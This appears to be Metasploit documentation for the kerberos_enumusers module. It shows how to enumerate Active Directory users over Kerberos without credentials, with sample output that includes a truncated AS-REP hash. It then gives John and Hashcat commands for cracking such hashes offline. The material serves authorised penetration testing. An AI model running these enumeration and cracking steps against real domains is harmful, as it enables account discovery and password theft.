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Vulnerable Application

The kerberos_enumusers module is used to enumerate valid Domain Users via Kerberos from a wholly unauthenticated perspective. It utilises the different responses returned by the service to identify users that exist within the target domain. It is also able to identify whether user accounts are enabled or disabled/locked out.

Verification Steps

When verifying the module in the listed examples, it is recommended to test the following accounts:

• Valid account

• Invalid account

• Locked/Disabled account

• Account with spaces

• AS-REP Roastable accounts

Target

To use kerberos_enumusers, make sure you are able to connect to the Kerberos service on a Domain Controller.

Scenarios

The following demonstrates basic usage, using a custom wordlist, targeting a single Domain Controller to identify valid domain user accounts.

Create a new ./users.txt file, then run the module:

msf6 auxiliary(gather/kerberos_enumusers) > run rhost=192.168.123.228 domain=domain.local user_file=./users.txt verbose=true
[*] Running module against 192.168.123.228

[*] Using domain: ADF3.LOCAL - 192.168.123.228:88...
[*] 192.168.123.228:88 - User: "missing123" user not found
[+] 192.168.123.228:88 - User: "administrator" is present
[+] 192.168.123.228:88 - User: "account with spaces" is present
[-] 192.168.123.228:88 - User: "locked_account" account disabled or locked out
[+] 192.168.123.228:88 - User: "no_pre_auth" does not require preauthentication. Hash: $krb5asrep$23$no_pre_auth@DOMAIN.LOCAL:bdb54b9e...etc..etc...
[+] 192.168.123.228:88 - User: "fake_mysql" is present
[*] 192.168.123.228:88 - User: "missing1234" user not found
[*] Auxiliary module execution completed
msf6 auxiliary(gather/kerberos_enumusers) > 

ASREPRoasting

Accounts that have Do not require Kerberos preauthentication enabled, will receive an ASREP response with a ticket present. The technique of cracking this token offline is called ASREPRoasting.

Cracking ASREP response with John:

john ./hashes.txt --wordlist=./wordlist.txt --format:krb5asrep

Cracking ASREP response with Hashcat:

hashcat -m 18200 -a 0 ./hashes.txt ./wordlist.txt

You can see previously creds with:

creds -v

Options

The kerberos_enumusers module only requires the RHOST, DOMAIN and USER_FILE options to run.

The DOMAIN option

This option is used to specify the target domain. If the domain name is incorrect an error is returned and domain user account enumeration will fail.

An example of setting DOMAIN:

set DOMAIN [domain name]

The USER_FILE option

This option is used to specify the file containing a list of user names to query the Domain Controller to identify if they exist in the target domain or not. One per line.

An example of setting USER_FILE:

set USER_FILE [path to file]

The Timeout option

This option is used to specify the TCP timeout i.e. the time to wait before a connection to the Domain Controller is established and data read.

An example of setting Timeout:

set Timeout [value in seconds]